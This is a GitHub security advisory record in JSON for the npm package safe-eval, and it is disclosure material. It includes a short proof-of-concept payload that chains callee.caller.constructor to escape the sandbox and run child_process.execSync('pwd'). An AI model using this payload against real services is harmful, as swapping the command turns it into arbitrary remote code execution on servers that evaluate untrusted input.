{"id":"GHSA-9pcf-h8q9-63f6","summary":"Sandbox Breakout / Arbitrary Code Execution in safe-eval","details":"All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.  \n\nFor example, the payload \n```\n((() =\u003e { \nconst targetKey = Object.keys(this)[0]; \nObject.defineProperty(this, targetKey, { \nget: function() { \nreturn arguments.callee.caller.constructor( \n\"return global.process.mainModule.require('child_process').execSync('pwd').toString()\" \n)(); \n} \n}); \n})();```\nmay be used to print the `pwd` to the console.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","modified":"2020-08-31T18:44:49Z","published":"2020-09-03T17:12:41Z","database_specific":{"cwe_ids":[],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2020-08-31T18:44:49Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://www.npmjs.com/advisories/1033"}],"affected":[{"package":{"name":"safe-eval","ecosystem":"npm","purl":"pkg:npm/safe-eval"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-9pcf-h8q9-63f6/GHSA-9pcf-h8q9-63f6.json"}}],"schema_version":"1.9.0"}